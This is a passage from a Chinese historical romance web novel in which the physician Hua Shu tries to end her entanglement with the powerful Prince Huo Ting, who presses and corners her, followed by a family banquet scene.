华姝悄悄看去,只能看清霍霆一半脸庞,轮廓线条分明,眉骨斜短的细疤,平添几分凌厉。 是还在因晚归的事,生她气么? 月桂居院近在眼前,华姝犹豫着搓搓指尖,主动打破这煎熬的死寂:“王爷,您是要我诊脉吗?” 霍霆停下轮椅,粗壮手臂递过来,还是没有言语。 华姝见状,也只好先蹲下身,指尖扣上他麦色阔腕,凝神感受脉搏。 忽然,头顶传来熟悉的沉声:“这里是三千两,够用吗?” 霍霆今日的确动了怒气,气萧成未及时禀告此事,气华姝不来寻助、反而只身犯险,更多是气自己没及时发现、护佑不利。 他这一路都在压制情绪,想用最心平气和的方式,帮她解决问题。 眼前多出一沓银票,让华姝动作一顿。 他都知道了,难怪。 可她没去接那银票,赚诊金本就是为还他,哪儿再拿的道理? 只是不曾想,他都没追问缘由。 如此无条件的支持,明显越界了……华姝不禁心跳加速,手足无措。 皎云羞月,空气有须臾安静。 “还差多少?我每年俸禄一万两,还不够的话。兵部尚书一职近日空了出来,我去补了那个缺。” 见她没接,霍霆又道:“往后你别再独自出诊,不安全。” 兵部尚书乃正三品大员,大伯父二伯父盼了大半辈子的好职位,到他口中,竟成了“缺”。 华姝心知霍霆并非仗势欺人,但他的位高威压,在这一刻的确显示得淋漓尽致。 还有他超出叔侄的过分照拂……都让她心跳越发凌乱。 感激是真,但压力更甚。 果然如她下午所料,他从未想过放开她。 可他们真的不能再这样。 “王爷好意,华姝铭记于心。但您伤势未愈,还是多休养为好。” “至于我行医这等小事,说来话长,您实在不必放心上。”说完,她就想收回手,起身告别。 怎知,霍霆蓦地扣住她指尖,“那就长话短说。”嗓音染上威压。 他掌心灼热,灼得华姝心跳砰砰更甚,默默蹲在他腿边,一动不敢动。 只觉她一直以来不愿去触碰的那层遮羞布,要提前被揭掉了。 20. 挑破 深秋仲夜,空气泛起淡淡的白雾,悄无声息从四面八方涌来,打湿华姝的袅袅衣裙,寒意阵阵。 她深吸一口气:“二伯母发给我的月银与众姊妹一样多,完全够日常开销。”只是这次特殊情况,不够偿还血燕和山中人情债罢了。 “出诊也是想救人性命。本以为她一介孤苦女子……终是我考虑不周,华姝甘愿受罚。只求您别告知祖母,我日后再不会去了。” “这话说得不实诚。” 霍霆加重语气,一语挑破:“那花魁业已交代,是你主动找上她的。” 华姝喉头干涩,愈加支吾:“我……” “这木屋何时变作兵器库了?” “快走快走!千万别被王爷发现咱常来此处幽会。” 不远处的药田,忽传来两道窃窃私语。应是府中一对偷情的野鸳鸯。 闻声,月桂居门口的两人,都神色微变。 晚风吹来,桂花阵阵飘香。本就暧昧的氛围,再添尴尬。 小木屋,孤男寡女,亲密,偷情。 怎么听怎么都像…… 华姝头顶越埋越低,心虚又羞怯,试探着抽回手指。 这等轻微的小动作,自然逃不过霍霆的眼。 他垂眸看去,意外撞见那截伸长的纤颈,肤白嫩滑,染满红晕,从耳边一路蔓延而下。 似暗夜里一朵娇艳盛放的蔷薇,惹猛虎想倾身去细嗅。 霍霆克制地挪开眼,遂了她愿,松开手,顺势给远处的长缨一个手势,绕道去药田瞧瞧。 华姝如蒙大赦,起身拉开一步距离。 那指尖染着他的体温,仍是烫得厉害,余有微颤。 她顺势搓了搓泛凉的手臂,以作掩饰。 然,粉嫩含羞的双颊,依旧若隐若现。 霍霆都瞧在眼里,叹了口气:“华姝,你无需这般怕我。” “今日过问此事,本意也不为责罚。但你一再回避,让我不得不忧心你处境艰险。” “实在不想说,我不问便是。” 反正萧成会加倍盯紧,但这话霍霆不会告知她,仅着重叮嘱:“只一点,不准伤到自己。” 闻言,华姝哑然一怔。 朦胧月色里,男人泰然而坐,一袭滚边刺绣的玄衣,无风自动。 他眉眼英俊硬朗,自带凌厉。但此刻面对她,华姝看得出,他在尽可能表现得平易柔和。 她不由赧颜于他的包容胸襟,感动于他的深沉关切。 华姝郑重福身,细语软柔:“王爷的海涵与厚助,华姝铭记于心。事情没您想得那般复杂,我日后也再不会去,不会让祖母……和您惦记。” “如此甚好。” 霍霆瞧着她,脸色渐缓:“否则再是遇险,我就真要向你祖母告状了。” 话音未落,自己先行失笑。 想他纵横沙场多年,审讯战俘无数,如今竟撬不开她一个小丫头的嘴,还得向老母亲告状,说出去估计得被那帮兄弟笑上好几年。 见霍霆笑了,且理直气壮地威胁她还要告状,华姝亦是忍俊不禁。 不得不承认,他真是一位赤诚宽厚的长辈。若非山中事,她定会忍不住像小时候一般黏着他。 “行了,回吧。”霍霆看眼渐深的夜色,“往后日渐天凉,若再是贪晚的话,记得加件外裳。” 默了默,他再度递上银票,“这钱先拿着,权当我提前予你的诊金。” 瞧着那沓银票,听着他天凉加衣的细腻关切,华姝迟疑一瞬。 许是男人太过包容随和,给予她莫名心安。又或他一再过度关照,让她受之有愧,不宜再退缩至明日。 华姝心中挣扎几番,决意即刻直面此事:“王爷,我可以说明筹钱的缘由。您能答应我,不生气吗?” “那要看是因为什么。” 霍霆不是情窦初开的少年,他待人接物早有一套成熟的底线:“伤天害理、作奸犯科之事绝不准许。” “即便你现在后悔,不肯坦言了,日后被我知晓亦不准许。” “不过,”他话锋一转,凤眸清明瞧着她,“我自是相信你的为人,更担心你受人蒙骗。” “不会伤天害理,也不是作奸犯科,您就不会生气,对吧?” 华姝眼波流转,试探的触角又往前伸出一点点。 霍霆难得见她杏眸不止惧色,还有一丝灵动的狡黠,似是激发出她幼年时的欢脱性情。 他微挑眉,“且说说看。” “您稍等。” 华姝先是走开几步,悄声交代半夏回月桂居拿银钱,而后折返回霍霆跟前。 长缨去药田尚未回来,这会附近就只有他们两人。 她深吸一口气,终于坦言说出积压多日的心事:“我去赚诊金,是为了还清您的诸多恩情。” 秋风乍起,寒夜更深。 霍霆握着银票的手掌,骤然收紧。 定定凝着她,静候下文。 可他气场太过强大,凤眸的微变,已让华姝倍感压力。 但事已至此,也只能硬着头皮说下去。她轻声软语道:“承蒙王爷多番相救,华姝不胜感激。若能为您清除余毒,我亦万死不辞。” “至于山中之事……” 华姝拢了拢鬓边碎发,试图掩饰掉羞耻泛红的脸颊,“皆由我而起,亦该我独担。” “华姝敬仰王爷责任心厚重,也深知您肩负天下大事,故而,还请您日后不必再费心关照,不值当的。” 她话音落下,许久未等到答复。 空气亦是冷寂许久,薄雾渐浓,从四周压迫而来。 却抵不过霍霆周身的沉郁威压。 华姝埋低头,不敢去瞧他脸色,却见那几张银票已被攥得严重变形。 而另一只大掌也攥紧轮椅扶手,青筋根根凸起。 时至此时,他仍在极力克制,没有冲她发火,华姝心中百感交集:“王爷,您……” “华姝。” 霍霆沉声打断她:“我可以给你足够时间想清楚,你不用着急答复此事。” “天色不早了,回吧。”他先行调动轮椅,有意就此结束这段对话。 但华姝没动。 她搓了搓僵硬的指尖,唇瓣孱颤:“不必再想了,这是我近一个月审慎思考的结果。” 霍霆动作一顿。 停下轮椅,然后站了起来。 高大魁岸的身影,刹那投下一道沉密的阴影,将华姝严实笼罩其中。 她心跳漏了一拍,仰头看去,男人居高临下谛视着她,凤眸寒沉如渊。 华姝心跳更快,下意识步步退避。 但这一次,霍霆没再宽让,而是大步逼近。 且他一步,顶她三步,让华姝脚步凌乱,局促不安。 她惊惶看着眼前之人,这一刻,他不再是宽和四叔,而是那个气势如狼的冷峻山匪,露出了最本真的模样。 那些拼命忘却的昔日恐惧,在这一刻,悉数从潮水般袭来,令华姝心脏狂跳,濒临窒息。 “理由呢?”霍霆边走边问。 “因为我年长你太多?” “因为我眉骨有疤,长得很凶?” “不是的!”华姝极力摇头,极力解释:“王爷海纳百川,心怀天下,是大昭百姓的神明,亦是华姝心中的英雄。” 说话间,两人已退至清枫斋的木门前,霍霆顿住脚步。 刚想出声提醒,但华姝一时不察,后背已经撞了上去。 机密信件都锁在书房,清枫斋的院门没有上锁的必要,因为府中无人胆敢不请自来。 而华姝,显然又是例外。 她轻轻一撞,两扇门板“吱呀”而开,整个人不受控地往后栽去—— “啊!” 她低呼一声,等回过神时,人已陷入霍霆的怀里。 他一手稳稳扣住她腰肢,一手垫在她后脑与门板间,院门刚刚已被他用脚从里边踢严实。 空气再度安静,夜雾愈加浓郁。 狭窄的阴暗空间里,只剩两人紊乱的呼吸声,以及男人炽热逼人的气息,熟悉得可怕。 华姝心惊肉跳,犹如被野狼叼住的囚困小兔,一动不敢动。 原本在跌倒刹那,慌乱捏紧霍霆衣襟的手指,也颤着松开,虚扶于半空。 霍霆顺着那发抖的葱白纤指,垂眸定在少女惨白如纸的小脸上。 怀中她簌簌发抖的娇躯,宛若秋风中之落叶,让他冷峻的下颌绷得更紧: “既是不反感,为何拒我?” “有更喜欢的人了?” “霍玄。” 头顶再度响起一连追问,最后一句,用的肯定语气。 华姝呼吸微滞。 怎么会突然提及表兄? 她仰头看去,想一探究竟,却意外撞进一双幽深的黑眸,瞳孔隐有她读不懂的晦涩。 而华姝的短暂沉默,落入霍霆眼中,即为默认。 默认她不惜冒险去赚诊金,是为摆脱他,早点与霍玄共乘一车,出双入对。 他们青梅竹马,年龄相仿,有说不完的共同话语。 “也好,他确实比我更合适。”霍霆缓声道:“我会出面替你指了这门亲事。” 他看似平和下来,但扣住华姝腰肢的粗粝大掌,却没松开,反而握得更紧。 然后猛地一带,将她紧紧按在他胸膛上。 男人的胸膛坚硬而炙烫,华姝被撞得魂飞魄散,烫得心尖发颤。 她仰头看着上方冷峻染怒的脸庞,顾不得弄清他如何知晓霍玄的事,忙出言阻拦,柔哄:“我对表兄仅是兄妹之情,还请王爷打消这份心思。” 即便来日真会嫁人,定也趁霍霆离京不在,避着,瞒着。哪好意思请他出面指婚? “你若为顾及我颜面,倒也不用……” “我没有!” 华姝加重语气,每个字都带有坚决的重量。 霍霆被打断的后半句话,似也字如千斤,难再多言。 他俯视着她,眸色深沉。 秋风再起,红枫叶自墙头飘零而落,有一瞬遮蔽门边的灯笼黄光,恍了眼。 叫人一度看不清自己的心,有几分试探,几分成全,又有几分释然。 但从华姝的视角,能感觉霍霆周身的寒意在减淡。 然后他俯下身靠过来,视线与她平齐。 近得能让她隐隐看见花容失色的自己,和映入他凤眼的灯笼光晕,又好似重燃起的一簇火苗。 “那就只剩世人非议了。”他轻揉她头,“你尽可放宽心,我来解决……” “姑娘!” “姑娘你在哪?” 这时,门外传来频频的呼唤声,是半夏拿着银票出来了。 但夜半三更,事关秘辛,她又不能高声大喊,语气越发焦急。 华姝也跟着一同焦急:“王爷美意,华姝心领了。是我跨不过心中那道坎,与旁人无关。” 她试着挣扎了下,但根本以卵击石,动弹不得一点。 反被男人灼灼目光,烫被目光闪躲,长睫低垂。 可霍霆不准。 原本扣在她腰间那只粗粝大掌,改为捧起她肤如凝脂的脸颊,四目相对。 他深深凝看过来,“我还是那句话,你慢慢消解心绪,此事容后再议。” 他用最温柔的语气,说出最决绝之语。 兜兜转转,谈话绕回最初的原点。华姝所有的竭力劝说,皆变作徒劳。 这一刻,本就身处绝路的她,心境亦陷入绝路。 只剩最后的颤声哀求:“王爷,我恳求您放手吧。” 她咬紧唇瓣,却还是漏掉一丝轻微的啜泣声,似秋夜里迷失希望的小兽在呜咽。 紧接着,一颗热泪,顺着她泛红的眼角无力滑下。 坠落在脸畔的粗粝大手上,溅起一滴微不足道的水花,氤氲在白茫茫雾气里…… * 雾中水汽凝结坠落,秋雨一连三日萧寒不散。 就好似华姝的心情,阴霾阵阵,久久郁结在心头,剪不断理还乱。 好在对外宣称坐诊辛劳,倒是无人来打搅。 一连三日,她倚靠在书房的圆形雕花小轩窗前,手中医书不曾翻过几页,大多时望着西墙边的桂花树,凝神不语。 枝头的高洁米黄花瓣,再度被秋水冲进泥泞。 一如她刚逃出深山时的境况。 紧锣密鼓近一个月的所有努力,只因那人的一句话,皆被打回原形,回到她最初的心绪不宁。 “姑娘,再有半个时辰,家宴就开始了。” 半夏轻手轻脚推门进来,帮华姝披上一件古纹双蝶云形藕粉色披风,忧心道:“要不,奴婢还是为您向老夫人告个假吧。” 华姝羽睫轻动,回过神问:“对面……出门了么?” 半夏心照不宣地点点头:“等会姑娘直接坐到女眷那桌,应是能避开的。” 华姝眼波流转,神色恹恹起身,“帮我梳妆吧。” 今日家宴,霍家人齐聚一堂。 一来要庆祝霍霆与霍雲兄弟俩,将安置将士们的苛刻差事办得尽善尽美,稳住军心,荣获圣上嘉奖。 二来霍玄殿试在即,为他鼓励士气。 都是喜事,老夫人高兴,主动提及要庆祝一番。 昨日傍晚,桂嬷嬷亲自撑伞过来,探望华姝身子,并通知此事。 既已应下,也不好临时改口。 反倒容易惹人注意。 华姝由着半夏和白术拾掇,铺上一层厚粉,梳上精致妆容,故作精神地撑伞往前院的饭厅走去。 怎料,就在离院门几步远时,轮椅压着石子路的“嘎吱”声,跳入耳畔。 仿佛一颗石子,砸在她心湖上,溅起圈圈涟漪。 快速瞥了一眼来人,华姝握在玉骨伞的玉手,不由收紧,倾斜遮面。 “见过王爷。” 待长缨推着霍霆行至院门前时,华姝福身行礼,轻声道。 霍霆微掀眼帘,目之所及,仅有一把水仙花样的天青色,挡住少女姣好玉容。 藕粉披肩下摆,瑟瑟摇曳在秋风微雨,飘摇欲坠。 与他初回府中那日的画面,近乎重叠。 原来,一切都有迹可循。 霍霆淡淡收回目光,挥手命长缨继续往前,未过多停留,未发一言。 路上的石子,再度被碾压得“噼啪”作响,渐行渐远。 华姝重新扶正油纸伞,目送那主仆二人走进饭厅,才带着半夏继续往前,唇瓣紧抿。 如她所愿,霍霆松口山中事。 只是惹他恼怒动气,实非她本意,终究还是将此事办砸了。 * 饭厅内,华姝不敢再去瞧东边的男子桌席,只走近女眷这桌,落座。 老夫人怜惜地端详着她:“我瞧着姝儿这脸色还是病恹恹的,身子可是还没歇过来?” 东桌的主位上,霍霆正与三位老爷并霍玄、二房嫡子霍齐、三房庶子霍瑛等人寒暄。 本就兴致不浓的他,在听到老夫人的问话后,耳郭微动,渐有走神。 一道熟悉的和软细语传来:“许是秋雨天潮,夜里睡得有些不踏实。” 这话语的内容,听着也很熟悉。 山中那月,他偶然午夜梦醒,身畔的被褥是凉的。 半夜未眠的少女,也曾这般答复。 那时他对她不甚了了,信以为真。 现在细品,这句竟也是谎言。 膳房的十数个仆人,端着美酒佳肴鱼贯而入,有人专门负责斟满酒杯。 始于主位,转一圈回来,霍霆面前酒杯已然空荡荡的,于是又补上一杯,才悄然退下。 西边女眷席上,华姝的座位,不巧恰能瞥见这一幕。 几日前在回春堂,他对孙大人的以茶代酒,和“家里有人管”的轻快戏言,还历历在目。 她眼睫微动,略感沉重,垂落而下。 身旁,大夫人亲手帮她盛了一碗红枣乌鸡汤,“失眠易损精气,饭前先喝碗鸡汤暖暖胃,还能补气血。” 你腹饥太久,先喝热粥,暖胃…… 熟悉的关切之语,亦是声声在耳。 华姝强迫自己不再回想,执起汤匙,专心喝汤,“多谢大伯母。” “这孩子,谢什么,合该我们该好好谢谢你。”大夫人同饭桌上其他人笑言:“她大伯父这几日得了空啊,没少同我夸姝儿。” “医术精湛都是次要的。” “待人接物那是真没的挑喲!心思周到又细致,谁见了谁都叫好。” “我能作证。”霍千羽补充道:“尤其最初那日,他们一开始瞧不上我俩是姑娘家,结果后面几日想排队都排不上。” “哎呦呵,咱家姝儿当真这般优秀呢?”老夫人一听,本就欢喜的她越发笑得合不拢嘴。 “母亲,这话其实不是儿子夸的。”东桌的大老爷,闻言也乐呵呵表示:“是回春堂老板和将士们,都对咱家俩丫头赞不绝口。” 霍雲说到兴头,又转向霍霆,“当时澜舟也在,母亲若不信我,可以问四弟。” 此话一出,饭厅的人纷纷看过去,倍感期待。 华姝亦然。 也才注意到,霍霆今日罕见穿了件烟蓝色的广袖锦袍,束发的碧玉簪换作一根白玉簪。 看上去与平时多添几分姿容,更显年轻。 然而,那刚毅的俊脸,神色始终冷肃。像一座拢满瘴气的孤岛,游离在饭厅的欢声笑语之外。 他朝老夫人颔首,“所言不虚。” 当众肯定了华姝的才能。 但惜字如金的淡漠,让活络的气氛骤然冷凝。 众人不明所以,但碍于其身份,也不敢追问,只剩面面相觑。 作为唯一知情人,华姝瞧在眼里,闷在心中。 她是没资格气他的,鱼和熊掌不可兼得,她不能一边要求人家远离,一边还享受堂堂王爷所予的热切相待。 只是瞧着疼爱她的老夫人面露忧色,华姝于心不忍,挤出一抹浅笑:“是大伯父他们谬赞了,姝儿年纪尚轻,才疏学浅,日后还得勤加钻研。” 声音轻轻柔柔的,再是粉饰太平,也难以挽回活跃气氛。 霍玄始终在关注她。 虽不知心尖的姑娘为何哀伤,但他略作斟酌,还是笑着接过话茬: “表妹一惯低调,但咱家谁人不知,你可是祖母教养长大。若非女儿身,以你才学去考科举,必不在我之下。” 一句话,解了华姝的困境,连带着把老夫人都夸了,众人闻之忍俊不禁。 “玄儿不愧能入殿试,这般口才,想来过几日定会旗开得胜。” 二夫人也主动打起圆场。 为哄老夫人开心,也有意与大房和华姝重新交好。 大老爷此次差事办得漂亮,荣升从四品官衔,逼近正四品的二老爷。二夫人不得不摆正姿态。 她也心惊华姝医术如此精湛,以防二老爷日后的差事也用得上,不敢再小瞧人。 三夫人附和:“玄儿的心思灵巧独到,的确不可多得。” 大夫人看破不说破:“那咱家玄儿就借两位婶娘的吉言了。” 老夫人也重新展颜:“说得不错,咱家玄儿勤学苦读多年,此次殿试必能大展宏图。” 她说着举起酒杯,提议:“来,咱们全家今日且庆贺大郎、小四心有所成,也恭喜姝儿医术学有所成,更要遥祝玄哥儿心想事成!” 众人欢笑一堂,接连举杯祝贺。 “不错,母亲所言甚是。” “玄儿今年打个样,两个弟弟皆要向你看齐。” “光耀霍家门楣的重担,早晚得落你们头上……” 话题转到科举,饭厅气氛重新热闹起来。 华姝随之悄悄松口气,感激地同霍玄远远对视一笑。 想起那晚同车而回的事,又稍有不安,下意识去悄瞧霍霆的反应。 他正侧头同霍三爷说着什么,一个眼神都没分给她,似乎真当她为寻常晚辈了。 华姝收回目光,安静用膳,只道这般已是目前最好的结果。 她心事重重,以至于没留意到,三夫人身旁的表妹阮糖,投过来一束意味深长的目光。 直到饭后,女眷陪老夫人回千竹堂歇息,华姝陪霍千羽撑伞跟在最后,才提及此事。 “姝儿,你说巧不巧?”霍千羽低声:“沈青禾那边刚一走,阮糖的病就好了。” 当初,阮糖和沈青禾都为着王妃之位,来霍家借住。待见霍霆“瘫痪”后,沈青禾将目光投向霍玄,阮糖则称病不出。 直到前日沈青禾离开霍家。 “沈姑娘走了?”华姝近日没心思关注此事。 霍千羽:“听说她父亲触怒龙颜,被贬去山西上任,然后她们全家就一起去历劫了……” 后面的话,华姝没再听。 忆起那晚在千竹堂喝热粥时,霍霆与老夫人提及“都察院”、“言官”等只言片语。 而她印象中, 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冷肃的清枫斋,和重兵把守的皇龙寺,难去的程度,不能说毫不相干,可谓是一模一样。 几人你瞧我我看你,目光最终齐齐落在同一人身上—— 华姝埋头喝茶,假装视而不见。 她既主动开口求离,断不能再反复去他眼皮底下,招惹误会。 山鸟与鱼不同路,从此山水不相逢。 结果,“我前日刚得了几株上等老山参,等会让姝儿拿与你四叔吧。” 二夫人说,华姝回月桂居时,正好“同路”…… 这还没完,三夫人又道:“我房里的嬷嬷新学做一种糕点,味道极好,姝儿也一并拿与你四叔吧。” 望着几位长辈寄予厚望的目光,华姝为难悲叹。 还要亲自为他送糕点,这误会岂不是更大? 所幸霍三爷担心雨天路滑,过来接三夫人回房,“正好我与澜舟还有要事相商,等会去清枫斋时,向他讨了拜帖便是。” 华姝感激地看向三叔父,虽还未去皇龙寺,但她仿佛已得神明的普度。 众人皆了却一桩心事,继续闲谈。 怎知,约莫一刻钟后,霍三爷去而复返:“实在不巧,赶上阴雨天,澜舟那腿伤熬人,他这会歇下了不便见客。” “没请军医来瞧瞧吗?”老夫人面色凝重起来。 霍三爷:“听长缨说,军医近日告假。” 如此一来,连老夫人的目光也投向华姝,慈母之心忧忧。 秋雨敲窗,如泣如诉。 面对一手养大自己的祖母,华姝这次实在不忍置若罔闻,咬了咬唇:“……那我前去探望四叔吧,顺便讨一封拜帖。” 她放下茶盏,袅袅起身辞别。 余留在齿间的清甜淡茶,莫名泛起一丝苦涩。 屋外,半夏撑伞走在身畔,“姑娘,不若奴婢去请那回春堂的陈老板,来为四爷瞧瞧?” “我的傻半夏,你忘了那晚他说过的话?” 华姝秀气的薄唇抿作一线,望着伞外细密的雨幕,仿佛又置身回那个举目皆白的浓雾之夜。 当时,她犹如困境之兽,蜷缩在猎人怀中。 唯一能祈盼,是他最后的怜悯。 木门之外,半夏寻声找来,亦是不断哀求:“四爷,求您放过姑娘吧。自打她从山里回来,再没能睡过一晚好觉……” 长缨去而复返,及时将她拉开。 但门内,霍霆的脸色已漆黑如墨,凤眼中火光一寸寸熄灭。 白雾浓郁,去遮蔽不去他眼底的阴郁。 看得华姝心尖娇颤,就在她准备破釜沉舟、立誓削发出家时,他蓦地转身。 选择了成全。 突然失去倚仗,华姝跌靠在门板上,半晌才重新找回气力,颤手拉开木门。 她从半夏手中接过银票,望着那道白雾中的孤立玄色背影,小心翼翼开口:“这两千两银票,我交与长缨侍卫,还望王爷收……” “出去。” 他头也不回,沉声低斥。 霍霆不应,长缨自是不肯接银票。 华姝拿在手上,宛若烫手山芋。沉甸甸的,坠得人心有不安。 她迈出院门槛,又迟疑转回身,诚恳软声:“为王爷祛毒一事,华姝会尽快想法子。届时,再一并拿与长缨。” “你觉得,本王身边会缺你一个大夫?” 男人嗤笑一声,骤然转回身。 对上她受伤的杏眸,刚毅下颌又隐隐一紧:“长缨,送客。” * 秋雨渐浓,捶打在脚边的青石板路上。 任凭华姝再谨慎,藕粉披风下摆仍被溅上点点污浊,以及一片破碎的红枫叶,难以独善其身。 清枫斋前,她黛眉拧紧。 他身边既不缺大夫,如何又落得她非来不可的境遇? 是恰好被三叔父撞见,还是这位“四叔”有意为之? 意外也不意外,华姝被长缨拦住:“表姑娘怕是走错门了吧,您离我们清枫斋还是远点……” “我奉祖母之命前来探望。” 受某人告状的启发,华姝径直搬出老夫人。 长缨顿时没了脾气,“您稍等。” 如今霍家谁人不知,天大地大霍霆最大,但霍霆上头还有位老娘。虽非亲生,亦有血脉压制。 经通禀,华姝随长缨走进院门。 那晚的羞惧画面,不禁涌入脑海。她甩了甩头,强行转移注意力,去打量小院的样貌。 西墙边枫树似火,高耸入云。树下石桌有盘残棋,被雨水淋遍。 东边空地上有两架人形木桩,院主人回来不足一月,已布满剑痕。 长缨顺着她的目光,冷笑:“这木桩,前日才命人送过来。” 华姝怔然。 从那斑驳的剑痕,似能想象出剑主人斑驳的心绪。 原来这几日,隔着两道院门,他也并非云淡风轻…… 长缨和半夏都留在院中,华姝单独走进陈设清冷的书房,未语先怯。 屋内,霍霆负手立在后窗前,神色不明。 他身后书案上,摆有一张大昭疆土地图,东南边境的几座城池,被用朱砂墨重点圈出来。 华姝不懂,也不敢窥探,只福身行礼,简洁说明两个来意。 霍霆态度依旧淡漠,但也未有刁难,转身站到书案前,铺纸蘸墨,开始写拜帖。 像是临窗而立许久,砚台已干涸。他提笔动作微顿,瞥她一眼。 四下无人,华姝只能绕道书案侧面,轻转素手,为其研磨。 书写拜帖用去半柱香的功夫,这期间,两人近在咫尺,却两厢无言。 偌大书房内,仅有墨碳的划擦声,及更漏“嘀嗒”作响。 华姝不解抬头看去,魁岸的男人专注执笔,目不斜视,莫非真不是他故意引她来此? 霍霆将拜帖写好,随即走到门边的盆架处净手。 折返回来,瞧着等在原地的少女,蹙眉:“表姑娘还有何事?” “……为王爷看伤。”华姝适才已说明,这会又重复一遍。 声音轻轻柔柔的,似被屋外雨声掩盖。他淡淡觑着她,半晌未应。 雨势更大了,似乎很快将迎来一场疾风骤雨。 华姝心头似被一只无形的大掌揪紧,不敢与他单独待太久,软声提醒:“王爷?” “表姑娘大抵不愿记住山中事,也忘记本王这刀伤,在大腿外侧了吧?”霍霆轻嗤:“如今的表姑娘,怕是不方便看,请回吧。” 他话音未落,华姝已被臊得抬不起头,双颊绯红。 山中那时,为尽快让霍霆站起来,她曾以银针刺激伤口附近的穴位。 本就夜里坦衣相拥的两人,白日也少了男女大防。他用虎皮毯子遮住上面,任由她小手在袒露的大腿上扎扎戳戳。 也曾因此,两人擦枪走火过。然后一双小手就被粗粝大掌强势牵着,被迫换了位置…… 然今时不同往日,她自是不能再与他肌肤相亲,“王、王爷误会了,我只是奉祖母之命,过来为您诊脉,开一副祛处湿寒的止疼药方。” 闻言,霍霆背在身后的右手,攥紧。 定睛瞧着眼前小他太多的姑娘,瞧着她娇艳欲滴的羞涩模样,神情复杂:“华姝,腿上的这点痛,我忍得了。” 那忍不了的痛又在哪? 华姝不敢去深究,偏那人形木桩的辩驳剑痕,浮现眼前。 她羞愧难当:“都是我的错,是我不该向您……” “咔嚓!” 突然一声滚滚惊雷,伴着锃亮的冷光,隔空劈下! 华姝小脸刷白,后脊汗毛直立。 惊惧万分之际,有人无声走近,习惯性为她捂住耳朵。 她也习惯性钻进那一处熟悉的避风港,就像山中那会。 等反应后来时,她惊呆在男人宽厚温热的怀里。 耳边是他强劲有力的心跳,砸得她心跳也“咚咚”作响。 霍霆感受着怀中娇躯的颤栗,直到她变为僵硬,才淡漠放下手。 “你当真看懂自己的心了吗?” 这话,他自己也说不清在问谁。 至少确认,她在山中依赖他这事,也不全是谎话。 可他却不知,华姝怕雷雨天这事,皆从她含泪委身于他的那一晚而起。 寄人篱下多年,她早已不喜对外诉说苦楚,只含混解释一句:“平时,我对我的丫鬟也是如此。” 说着就想后退一步,拉开这超出叔侄的过分亲密。 可男人不肯了。 像被突然激怒的他,反手就将她抵在身后的书架。 魁岸如山的身躯,欺身而下:“华姝,你又来惹我。” 近在咫尺的凤眸,一半寒凛,一半灼灼。 看得华姝,羽睫孱颤。 想开口解释,此行只为给他开一副止疼的汤药。偏如今事实如山,叫人百口莫辩。 她迟疑之际,水嫩的粉唇开开合合,似一朵含苞待放的花朵,惹人采撷。 霍霆盯着她水眸的目光,不由被吸引过去。 这双唇瓣有多么娇软清甜,他曾含在齿间细细品味,至今记忆犹新。 喉结滑动,燥热跃跃的心绪牵着他,一寸寸靠过去……